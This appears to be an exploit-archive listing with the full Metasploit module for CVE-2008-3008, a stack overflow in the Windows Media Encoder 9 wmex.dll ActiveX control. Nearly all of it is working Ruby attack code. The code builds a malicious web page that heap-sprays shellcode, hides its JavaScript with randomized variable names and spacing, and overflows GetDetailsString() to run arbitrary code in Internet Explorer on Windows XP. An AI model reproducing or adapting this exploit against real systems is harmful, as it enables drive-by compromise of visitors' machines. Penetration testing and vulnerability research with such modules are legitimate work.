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Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow

Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Windows Media Encoder 9. When sending an overly long string to the GetDetailsString() method of wmex.dll an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
systems | windows
advisories | CVE-2008-3008
SHA-256 | 19b5ffe14cd43962b6d3de3e76f9399ef2608dabab850e71340c091690c75477

Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow

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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Windows Media Encoder 9. When
sending an overly long string to the GetDetailsString() method of wmex.dll
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-3008' ],
[ 'OSVDB', '47962' ],
[ 'BID', '31065' ],
[ 'MSB', 'MS08-053' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Sep 9 2008',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))

# Set the return.
ret = Rex::Text.to_unescape([target.ret].pack('V'))

# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)

content = %Q|
<html>
<object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.GetDetailsString(#{rand8}, 1);
</script>
</html>
|

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
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